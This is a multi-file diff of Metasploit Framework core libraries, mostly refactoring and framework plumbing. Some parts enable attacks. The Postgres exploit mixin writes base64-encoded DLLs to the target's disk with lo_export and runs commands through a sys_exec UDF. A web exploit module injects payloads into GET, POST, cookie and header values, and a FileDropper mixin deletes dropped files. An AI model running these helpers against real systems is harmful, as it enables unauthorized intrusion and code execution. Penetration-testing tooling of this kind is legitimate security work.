@@_404_gathered << path.hash
callback.call is_404?( path, body )
else
@@_404[path][i]['rdiff_now'] ||= false
if !@@_404[path][i]['body']
@@_404[path][i]['body'] = res.body
else
@@_404[path][i]['rdiff_now'] = true
end
if @@_404[path][i]['rdiff_now'] && !@@_404[path][i]['rdiff']
@@_404[path][i]['rdiff'] = Rex::Text.refine( @@_404[path][i]['body'], res.body )
end
end
end
}
end
else
callback.call is_404?( path, body )
end
end
nil
end
private
def call_after_run_blocks
while block = @after_run_blocks.pop
block.call
end
end
def synchronize( &block )
(@mutex ||= Mutex.new).synchronize( &block )
end
def is_404?( path, body )
@@_404[path].each { |_404| return true if Rex::Text.refine( _404['body'], body ) == _404['rdiff'] }
false
end
def queue( request )
@queue << request
end
def _request( url, opts = {} )
body = opts[:body]
timeout = opts[:timeout] || 10
method = opts[:method].to_s.upcase || 'GET'
url = url.is_a?( URI ) ? url : URI( url.to_s )
param_opts = {}
if !(vars_get = Auxiliary::Web::Form.query_to_params( url.query )).empty?
param_opts['vars_get'] = vars_get
end
if method == 'GET'
param_opts['vars_get'] ||= {}
param_opts['vars_get'].merge!( opts[:params] ) if opts[:params].is_a?( Hash )
elsif method == 'POST'
param_opts['vars_post'] = opts[:params] || {}
end
opts = @request_opts.merge( param_opts ).merge(
'uri' => url.path || '/',
'method' => method,
'headers' => headers.merge( opts[:headers] || {} )
)
opts['data'] = body if body
c = connect
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
rescue ::Timeout::Error
Response.timed_out
rescue ::Errno::EPIPE, Rex::ConnectionTimeout
Response.empty
end
end
end

View File

@ -0,0 +1,128 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'net/https'
require 'net/http'
require 'uri'
module Msf
#
# Represents a webpage path.
#
module Auxiliary::Web
class Path < Fuzzable
# URL String to which to submit the params
attr_accessor :action
# Injected value as a String
attr_accessor :input
# Mdm::WebForm model if available
attr_accessor :model
#
# opts - Options Hash (default: {})
# :action - Action URL of the form
# :inputs - PATH_INFO as a String
#
def initialize( opts = {} )
self.action = opts[:action]
self.action.chop! if self.action.end_with?( '?' )
self.input = (opts[:inputs] || opts[:input]).to_s.dup
end
#
# Sets the injected PATH_INFO value.
#
# value - PATH_INFO String.
#
def input=( value )
@inputs = value.to_s.dup
end
alias :param :input
#
# Examples
#
# { :name => input, :value => input, :type => 'path' }
#
def inputs
{ :name => input, :value => input, :type => 'path' }
end
#
# Examples
#
# { input => input }
#
def params
{ input => input }
end
#
# Returns 'path'
#
def altered
'path'
end
# Returns the PATH_INFO as a String.
def altered_value
input
end
def altered_value=( value )
self.input = value.to_s.dup
end
def request( opts = {} )
uri = URI( action )
path = uri.path
path << '/' if !path.end_with?( '/' )
[ "#{path}/#{param}?#{uri.query}", opts.merge( :method => method ) ]
end
# Bool - true if PATH_INFO is empty, false otherwise.
def empty?
param.empty?
end
#
# A copy of self with seed as PATH_INFO.
#
# seed - String to use as PATH_INFO.
#
def permutations
return [] if empty?
seeds_for( value ).map { |seed| permutation_for( nil, seed ) }.uniq
end
def permutation_for( field_name, field_value )
path = self.dup
path.input = field_value.dup
path
end
def to_hash
{ :action => action.dup, :input => input.dup }
end
def self.from_model( form )
e = new( :action => "#{form.path}?#{form.query}", :input => inputs[0][1] )
e.model = form
e
end
end
end
end

View File

@ -0,0 +1,144 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'net/https'
require 'net/http'
require 'uri'
module Msf
#
# Represents a targeted web application and holds service, host, post etc. info.
#
class Auxiliary::Web::Target
# Original URL as a String.
attr_accessor :original
# Service information as an Mdm::Service object.
attr_accessor :service
# Mdm::WebSite object.
attr_accessor :site
# True if HTTPS, False otherwise.
attr_accessor :ssl
# IP address as a String.
attr_accessor :host
# Virtual host as a String.
attr_accessor :vhost
# String URI path.
attr_accessor :path
# String URI query.
attr_accessor :query
# Port Number.
attr_accessor :port
# Port Number.
attr_accessor :username
# Port Number.
attr_accessor :password
# Array of Web::Form objects.
attr_accessor :forms
# Array of Web::Path objects.
attr_accessor :paths
#
# options - Hash with which to populate self (keys must correspond to attributes):
# :service
# :ssl
# :host
# :vhost
# :path
# :port
# :forms
# :auditable
#
def initialize( options = {} )
update( options )
end
#
# options - Hash with which to update self (keys must correspond to attributes):
# :service
# :ssl
# :host
# :vhost
# :path
# :port
# :forms
# :auditable
#
def update( options = {} )
options.each { |k, v| send( "#{k}=", v ) }
@forms ||= []
@paths ||= []
self
end
#
# Pushes an auditable element.
#
# element - Web::Form or Web::Path or Mdm::WebForm
#
def <<( element )
case element
when Auxiliary::Web::Path
@paths << element
when Auxiliary::Web::Form
@forms << element
when Mdm::WebForm
self.<< element.method.to_s.downcase == 'path' ?
Auxiliary::Web::Path.from_model( element ) :
Auxiliary::Web::Form.from_model( element )
end
end
#
# Array of accumulated auditable elements.
#
def auditable
self.forms | self.paths
end
def host
return if !@host
Rex::Socket.is_ipv6?( @host ) ? "[#{@host}]" : @host
end
# String protocol representation (http or https).
def proto
ssl? ? 'https' : 'http'
end
# True if HTTPS, False otherwise.
def ssl?
!!@ssl
end
# String URL to the webapp.
def to_url
"#{proto}://#{vhost || host}:#{port}#{path}"
end
def dup
Marshal.load( Marshal.dump( self ) )
end
end
end

View File

@ -2373,6 +2373,9 @@ class DBManager
desc = opts[:description].to_s.strip
conf = opts[:confidence].to_i
cat = opts[:category].to_s.strip
payload = opts[:payload].to_s
owner = opts[:owner] ? opts[:owner].shortname : nil
site = nil
@ -2426,6 +2429,9 @@ class DBManager
vuln.blame = blame
vuln.description = desc
vuln.confidence = conf
vuln.payload = payload
vuln.owner = owner
msf_import_timestamps(opts, vuln)
vuln.save!

View File

@ -196,7 +196,7 @@ class DBManager
# Prefer the config file's pool setting
nopts['pool'] ||= 75
# Prefer the config file's wait_timeout setting too
nopts['wait_timeout'] ||= 300
@ -342,11 +342,13 @@ class DBManager
return if not self.migrated
return if self.modules_caching
self.framework.cache_thread = Thread.current
self.modules_cached = false
self.modules_caching = true
::ActiveRecord::Base.connection_pool.with_connection {
refresh = []
skipped = []
@ -373,7 +375,6 @@ class DBManager
refresh.each {|md| md.destroy }
refresh = nil
stime = Time.now.to_f
[
[ 'exploit', framework.exploits ],
[ 'auxiliary', framework.auxiliary ],
@ -394,6 +395,9 @@ class DBManager
end
end
self.framework.cache_initialized = true
self.framework.cache_thread = nil
self.modules_cached = true
self.modules_caching = false
@ -460,16 +464,16 @@ class DBManager
res[:description] = m.description.to_s.strip
m.arch.map{ |x|
bits << [ :arch, { :name => x.to_s } ]
m.arch.map{ |x|
bits << [ :arch, { :name => x.to_s } ]
}
m.platform.platforms.map{ |x|
bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ]
m.platform.platforms.map{ |x|
bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ]
}
m.author.map{|x|
bits << [ :author, { :name => x.to_s } ]
m.author.map{|x|
bits << [ :author, { :name => x.to_s } ]
}
m.references.map do |r|
@ -500,14 +504,14 @@ class DBManager
# Some modules are a combination, which means they are actually aggressive
res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive"
m.class.mixins.each do |x|
bits << [ :mixin, { :name => x.to_s } ]
end
end
if(m.type == "auxiliary")
m.actions.each_index do |i|
bits << [ :action, { :name => m.actions[i].name.to_s } ]
end
@ -523,9 +527,9 @@ class DBManager
res
end
#
# This provides a standard set of search filters for every module.
# The search terms are in the form of:
@ -562,7 +566,7 @@ class DBManager
end
::ActiveRecord::Base.connection_pool.with_connection {
where_q = []
where_v = []
@ -572,12 +576,12 @@ class DBManager
case kt
when 'text'
xv = "%#{kv}%"
where_q << ' ( ' +
where_q << ' ( ' +
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? ' +
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
') '
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv ]
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
when 'name'
xv = "%#{kv}%"
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
@ -594,7 +598,7 @@ class DBManager
# TODO
when 'type'
where_q << ' ( module_details.mtype = ? ) '
where_v << [ kv ]
where_v << [ kv ]
when 'app'
where_q << ' ( module_details.stance = ? )'
where_v << [ ( kv == "client") ? "passive" : "active" ]
@ -604,11 +608,11 @@ class DBManager
when 'cve','bid','osvdb','edb'
where_q << ' ( module_refs.name = ? )'
where_v << [ kt.upcase + '-' + kv ]
end
end
end
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
joins(
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
@ -629,4 +633,3 @@ class DBManager
end
end

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
module Msf
module Exploit::FileDropper
#
# When a new session is created, attempt to delete any files that the
# exploit created.
#
# @param (see Msf::Exploit#on_new_session)
# @return [void]
#
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
false
end
else
cmds = [
%Q|attrib.exe -r "#{win_file}"|,
%Q|del.exe /f /q "#{win_file}"|,
%Q|rm -f "#{file}" >/dev/null|,
]
# We need to be platform-independent here. Since we can't be
# certain that {#target} is accurate because exploits with
# automatic targets frequently change it, we just go ahead and
# run both a windows and a unixy command in the same line. One
# of them will definitely fail and the other will probably
# succeed. Doing it this way saves us an extra round-trip.
session.shell_command_token(cmds.join(" ; "))
print_good("Deleted #{file}")
true
end
end
super
end
#
# Record file as needing to be cleaned up
#
# @param [Array<String>] files List of paths on the target that should
# be deleted during cleanup. Each filename should be either a full
# path or relative to the current working directory of the session
# (not necessarily the same as the cwd of the server we're
# exploiting).
# @return [void]
def register_files_for_cleanup(*files)
@dropped_files ||= []
@dropped_files += files
nil
end
# Singular version
alias register_file_for_cleanup register_files_for_cleanup
#
# While the exploit cleanup do a last attempt to delete any files created
# if there is a file_rm method available. Warn the user if any files were
# not cleaned up.
#
# @see Msf::Exploit#cleanup
# @see Msf::Post::File#file_rm
def cleanup
super
# Check if file_rm method is available (local exploit, mixin support, module support)
if not @dropped_files or @dropped_files.empty?
return
end
if respond_to?(:file_rm)
@dropped_files.delete_if do |file|
begin
file_rm(file)
print_good("Deleted #{file}")
true
#rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e
rescue ::Exception => e
vprint_error("Failed to delete #{file}: #{e.to_s}")
false
end
end
end
@dropped_files.each do |f|
print_warning("This exploit may require manual cleanup of: #{f}")
end
end
end
end

View File

@ -621,11 +621,11 @@ module Exploit::Remote::HttpClient
# Bail if we don't have anything to fingerprint
return if not res
# From here to the end simply does some pre-canned combining and custom matches
# to build a human-readable string to store in service.info
extras = []
if res.headers['Set-Cookie'] =~ /^vmware_soap_session/
extras << "VMWare Web Services"
end

View File

@ -81,6 +81,7 @@ require 'msf/core/exploit/oracle'
# tekniqz
require 'msf/core/exploit/fmtstr'
require 'msf/core/exploit/file_dropper'
# Java
require 'msf/core/exploit/java'
@ -91,3 +92,5 @@ require 'msf/core/exploit/wbemexec'
#WinRM
require 'msf/core/exploit/winrm'
# WebApp
require 'msf/core/exploit/web'

View File

@ -50,7 +50,7 @@ module Exploit::PhpEXE
end
if target["Platform"] == 'win'
bin_name << ".exe"
print_debug("Unable to clean up #{bin_name}, delete it manually")
print_warning("Unable to clean up #{bin_name}, delete it manually")
end
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q{
@ -74,7 +74,9 @@ module Exploit::PhpEXE
end
if opts[:unlink_self]
php << "unlink(__FILE__);"
# Prepend instead of appending to make sure it happens no matter
# what the payload normally does.
php = "@unlink(__FILE__);" + php
end
php.gsub!(/#.*$/, '')

View File

@ -1,4 +1,3 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
@ -12,6 +11,7 @@ module Msf
module Exploit::Remote::Postgres
require 'postgres_msf'
require 'base64'
include Msf::Db::PostgresPR
attr_accessor :postgres_conn
@ -53,11 +53,11 @@ module Exploit::Remote::Postgres
ip = args[:server] || datastore['RHOST']
port = args[:port] || datastore['RPORT']
uri = "tcp://#{ip}:#{port}"
if Rex::Socket.is_ipv6?(ip)
uri = "tcp://[#{ip}]:#{port}"
end
verbose = args[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri)
@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
def postgres_query(sql=nil,doprint=false)
ip = datastore['RHOST']
port = datastore['RPORT']
verbose = datastore['VERBOSE']
postgres_login unless self.postgres_conn
unless self.postgres_conn
return {:conn_error => true}
@ -155,18 +154,17 @@ module Exploit::Remote::Postgres
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
# inferring version number from the failed authentication messages.
def postgres_fingerprint(args={})
postgres_logout if self.postgres_conn
return postgres_authed_fingerprint if self.postgres_conn
db = args[:database] || datastore['DATABASE']
username = args[:username] || datastore['USERNAME']
password = args[:password] || datastore['PASSWORD']
rhost = args[:server] || datastore['RHOST']
rport = args[:port] || datastore['RPORT']
uri = "tcp://#{rhost}:#{rport}"
if Rex::Socket.is_ipv6?(rhost)
uri = "tcp://[#{rhost}]:#{rport}"
end
verbose = args[:verbose] || datastore['VERBOSE']
begin
@ -175,11 +173,13 @@ module Exploit::Remote::Postgres
version_hash = analyze_auth_error e
return version_hash
end
if self.postgres_conn # Just ask for the version.
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
return postgres_authed_fingerprint if self.postgres_conn
end
def postgres_authed_fingerprint
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
# Matches up filename, line number, and routine with a version.
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
COPY #{temp_table_name} FROM '#{filename}';
SELECT * FROM #{temp_table_name}}
read_return = postgres_query(read_query)
return postgres_query(read_query,true)
end
def postgres_has_database_privilege(priv)
@ -291,6 +291,7 @@ module Exploit::Remote::Postgres
# This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec()
def postgres_sys_exec(cmd)
print_status "Attempting to Execute: #{cmd}"
q = "select pg_temp.sys_exec('#{cmd}')"
resp = postgres_query(q)
if resp[:sql_error]
@ -300,10 +301,16 @@ module Exploit::Remote::Postgres
return true
end
# Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not.
def postgres_upload_binary_file(fname)
data = postgres_base64_file(fname)
def postgres_upload_binary_file(fname, remote_fname=nil)
data = File.read(fname)
postgres_upload_binary_data(data, remote_fname)
end
def postgres_upload_binary_data(data, remote_fname=nil)
data = postgres_base64_data(data)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
@ -312,20 +319,48 @@ module Exploit::Remote::Postgres
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk(tbl,fld)
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk(tbl,fld)
#
# This is accomplished with 3 sql queries:
# 1. select lo_create
# 2. version dependant:
# - on 9.x, insert into pg_largeobject
# - on older versions, update pg_largeobject
# 3. select lo_export to write the file to disk
#
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
oid = rand(60000) + 1000
fname = Rex::Text::rand_text_alpha(8) + ".dll"
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
ver = postgres_fingerprint
case ver[:auth]
when /PostgreSQL 9\./
# 9.x does *not* insert the largeobject into the table when you do
# the lo_create, so we must insert it ourselves.
queries = [
"select lo_create(#{oid})",
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
"select lo_export(#{oid}, '#{remote_fname}')"
]
else
# 8.x inserts the largeobject into the table when you do the
# lo_create, so we with a value.
#
# 7.x is an unknown, but this behavior was the default before the
# addition of support for 9.x above, so try it this way and hope
# for the best
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{remote_fname}')"
]
end
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
@ -334,15 +369,20 @@ module Exploit::Remote::Postgres
break
end
end
return oid,fname
return oid,remote_fname
end
# Base64's a file and returns the data.
def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
postgres_base64_data(data)
end
def postgres_base64_data(data)
[data].pack("m*").gsub(/\r?\n/,"")
end
# Creates a temporary table to store base64'ed binary data in.
def postgres_create_stager_table
tbl = Rex::Text.rand_text_alpha(8).downcase

138
lib/msf/core/exploit/web.rb Normal file
View File

@ -0,0 +1,138 @@
# -*- coding: binary -*-
module Msf
###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak the telnet protocol.
#
###
module Exploit::Remote::Web
include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient
# Default value for #web_payload_stub
WEB_PAYLOAD_STUB = '!payload!'
#
# Optional stub to be replaced with the exploit payload.
#
# Default stub is 'WEB_PAYLOAD_STUB'.
#
attr_accessor :web_payload_stub
# Creates an instance of a Telnet exploit module.
#
def initialize( info = {} )
super
register_options([
OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ),
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
], self.class )
self.web_payload_stub = WEB_PAYLOAD_STUB
end
def path
Rex::Text.uri_encode( substitute_web_payload_stub( datastore['PATH'] ) )
end
def get
substitute_in_hash( parse_query( datastore['GET'] ) )
end
def post
substitute_in_hash( parse_query( datastore['POST'] ) )
end
def cookies
substitute_web_payload_stub( datastore['COOKIES'], ',;' )
end
def headers
substitute_in_hash( parse_query( datastore['HEADERS'] ) )
end
def method
post.empty? ? 'GET' : 'POST'
end
def check
path = datastore['PATH']
print_status "Checking #{path}"
response = send_request_raw( 'uri' => path )
return Exploit::CheckCode::Detected if response.code == 200
print_error "Server responded with #{response.code}"
Exploit::CheckCode::Unknown
end
def exploit
print_status "Sending HTTP request for #{path}"
if res = perform_request
print_status "The server responded with HTTP status code #{res.code}."
else
print_status 'The server did not respond to our request.'
end
handler
end
def perform_request
send_request_cgi({
'global' => true,
'uri' => path,
'method' => method,
'vars_get' => get,
'vars_post' => post,
'headers' => headers,
'cookie' => cookies
}, 0.01 )
end
#
# Converts a URI query string into a key=>value hash.
#
def parse_query( query, sep = '&' )
query = query.to_s
return {} if query.empty?
query.split( sep ).inject({}) do |h, part|
k, v = part.split( '=', 2 )
h[k.to_s] = v.to_s
h
end
end
#
# With what to replace 'WEB_PAYLOAD_STUB'.
#
# By default returns 'payload.encoded', override as needed.
#
def stub_value
payload.encoded
end
#
# Substitutes 'web_payload_stub' with the exploit payload.
#
def substitute_web_payload_stub( str, escape = '' )
value = stub_value
value = URI.encode( stub_value, escape ) if !escape.empty?
str.to_s.gsub( web_payload_stub, value )
end
def substitute_in_hash( hash )
hash.inject({}) do |h, (k, v)|
h[substitute_web_payload_stub( k )] = substitute_web_payload_stub( v )
h
end
end
end
end

View File

@ -19,7 +19,7 @@ class Framework
Major = 4
Minor = 5
Point = 0
Release = "-dev"
Release = "-release"
if(Point)
Version = "#{Major}.#{Minor}.#{Point}#{Release}"

View File

@ -153,7 +153,8 @@ module ReverseHttp
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ])
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system'])
], Msf::Handler::ReverseHttp)
end
@ -176,10 +177,17 @@ module ReverseHttp
comm = nil
end
# Determine where to bind the HTTP(S) server to
bindaddrs = ipv6 ? '::' : '0.0.0.0'
if not datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddrs = datastore['ReverseListenerBindAddress']
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
ipv6 ? '::' : '0.0.0.0',
bindaddrs,
ssl?,
{
'Msf' => framework,

View File

@ -95,7 +95,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference
if (in_ctx_id == 'OSVDB')
self.site = 'http://www.osvdb.org/' + in_ctx_val.to_s
elsif (in_ctx_id == 'CVE')
self.site = 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=' + in_ctx_val.to_s
self.site = "http://cvedetails.com/cve/#{in_ctx_val.to_s}/"
elsif (in_ctx_id == 'BID')
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
elsif (in_ctx_id == 'MSB')

View File

@ -12,11 +12,15 @@ require 'msf/core'
require 'msf/core/module_set'
module Msf
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation.
# Upper management decided to throw in some middle management
# because the modules were getting out of hand. This bad boy takes
# care of the work of managing the interaction with modules in terms
# of loading and instantiation.
#
# @todo add unload support
class ModuleManager < ModuleSet
class ModuleManager
include Msf::Framework::Offspring
require 'msf/core/payload_set'
# require here so that Msf::ModuleManager is already defined
@ -32,6 +36,8 @@ module Msf
include Msf::ModuleManager::ModuleSets
include Msf::ModuleManager::Reloading
include Enumerable
#
# CONSTANTS
#
@ -39,36 +45,28 @@ module Msf
# Maps module type directory to its module type.
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module
# and notify the event dispatcher.
#
# @param (see Msf::ModuleSet#add_module)
# @return (see Msf::ModuleSet#add_module)
def add_module(mod, name, file_paths)
# Call {Msf::ModuleSet#add_module} with same arguments
dup = super
def [](key)
names = key.split("/")
type = names.shift
# Automatically subscribe a wrapper around this module to the necessary
# event providers based on whatever events it wishes to receive. We
# only do this if we are the module manager instance, as individual
# module sets need not subscribe.
auto_subscribe_module(dup)
module_set = module_set_by_type[type]
# Notify the framework that a module was loaded
framework.events.on_module_load(name, dup)
dup
module_reference_name = names.join("/")
module_set[module_reference_name]
end
# Creates a module instance using the supplied reference name.
#
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the
# module will be created from the {Msf::ModuleSet} for the given <type>.
# @param name [String] A module reference name. It may optionally
# be prefixed with a "<type>/", in which case the module will be
# created from the {Msf::ModuleSet} for the given <type>.
# Otherwise, we step through all sets until we find one that
# matches.
# @return (see Msf::ModuleSet#create)
def create(name)
# Check to see if it has a module type prefix. If it does,
# try to load it from the specific module set for that type.
names = name.split(File::SEPARATOR)
names = name.split("/")
potential_type_or_directory = names.first
# if first name is a type
@ -79,14 +77,36 @@ module Msf
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
end
module_instance = nil
if type
module_set = module_set_by_type[type]
module_reference_name = names[1 .. -1].join(File::SEPARATOR)
module_set.create(module_reference_name)
# Otherwise, just try to load it by name.
# First element in names is the type, so skip it
module_reference_name = names[1 .. -1].join("/")
module_instance = module_set.create(module_reference_name)
else
super
# Then we don't have a type, so we have to step through each set
# to see if we can create this module.
module_set_by_type.each do |_, set|
module_reference_name = names.join("/")
module_instance = set.create(module_reference_name)
break if module_instance
end
end
module_instance
end
# Iterate over all modules in all sets
#
# @yieldparam name [String] The module's reference name
# @yieldparam mod_class [Msf::Module] A module class
def each
module_set_by_type.each do |type, set|
set.each do |name, mod_class|
yield name, mod_class
end
end
end
@ -113,18 +133,18 @@ module Msf
types.each { |type|
init_module_set(type)
}
super(nil)
end
protected
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when
# a new host is detected, other aux modules may wish to run such that they can collect more information about the
# host that was detected.
# This method automatically subscribes a module to whatever event
# providers it wishes to monitor. This can be used to allow modules
# to automatically execute or perform other tasks when certain
# events occur. For instance, when a new host is detected, other
# aux modules may wish to run such that they can collect more
# information about the host that was detected.
#
# @param [Class] mod a Msf::Module subclass
# @param mod [Class] A subclass of Msf::Module
# @return [void]
def auto_subscribe_module(mod)
# If auto-subscribe has been disabled
@ -151,5 +171,6 @@ module Msf
framework.events.add_session_subscriber((inst) ? inst : (inst = mod.new))
end
end
end
end

View File

@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
def load_cached_module(type, reference_name)
loaded = false
module_info = self.module_info_by_path.values.find { |module_info|
module_info[:type] == type and module_info[:reference_name] == reference_name
module_info = self.module_info_by_path.values.find { |inner_info|
inner_info[:type] == type and inner_info[:reference_name] == reference_name
}
if module_info
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}.
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
@ -126,4 +127,4 @@ module Msf::ModuleManager::Cache
self.module_info_by_path
end
end
end

View File

@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
# categorized accordingly.
#
def on_module_load(mod, type, name, modinfo)
# Payload modules require custom loading as the individual files
# may not directly contain a logical payload that a user would
# reference, such as would be the case with a payload stager or
# stage. As such, when payload modules are loaded they are handed
# off to a special payload set. The payload set, in turn, will
# automatically create all the permutations after all the payload
# modules have been loaded.
dup = module_set_by_type[type].add_module(mod, name, modinfo)
if (type != Msf::MODULE_PAYLOAD)
# Add the module class to the list of modules and add it to the
# type separated set of module classes
add_module(mod, name, modinfo)
end
# Automatically subscribe a wrapper around this module to the necessary
# event providers based on whatever events it wishes to receive.
auto_subscribe_module(dup)
module_set_by_type[type].add_module(mod, name, modinfo)
# Notify the framework that a module was loaded
framework.events.on_module_load(name, dup)
dup
end
protected

View File

@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
self.enablement_by_type[type] = true
case type
when Msf::MODULE_PAYLOAD
instance = Msf::PayloadSet.new(self)
instance = Msf::PayloadSet.new
else
instance = Msf::ModuleSet.new(type)
end
@ -100,4 +100,4 @@ module Msf::ModuleManager::ModuleSets
attr_accessor :enablement_by_type # :nodoc:
attr_accessor :module_set_by_type # :nodoc:
end
end

View File

@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
# Create an instance of the supplied module by its name
#
# @param [String] name the module reference name.
# @return [Msf::Module] instance of the named module.
# @param name [String] The module reference name.
# @return [Msf::Module,nil] Instance of the named module or nil if it
# could not be created.
def create(name)
klass = fetch(name, nil)
instance = nil
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
# If there is no module associated with this class, then try to demand
# load it.
if klass.nil? or klass == Msf::SymbolicModule
# If we are the root module set, then we need to try each module
# type's demand loading until we find one that works for us.
if module_type.nil?
Msf::MODULE_TYPES.each { |type|
framework.modules.load_cached_module(type, name)
}
else
framework.modules.load_cached_module(module_type, name)
end
framework.modules.load_cached_module(module_type, name)
recalculate
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
def on_module_reload(mod)
end
# @!attribute [rw] postpone_recalc
# Whether or not recalculations should be postponed. This is used
# from the context of the {#each_module_list} handler in order to
# prevent the demand loader from calling recalc for each module if
# it's possible that more than one module may be loaded. This field
# is not initialized until used.
#
# @return [true] if {#recalculate} should not be called immediately
# @return [false] if {#recalculate} should be called immediately
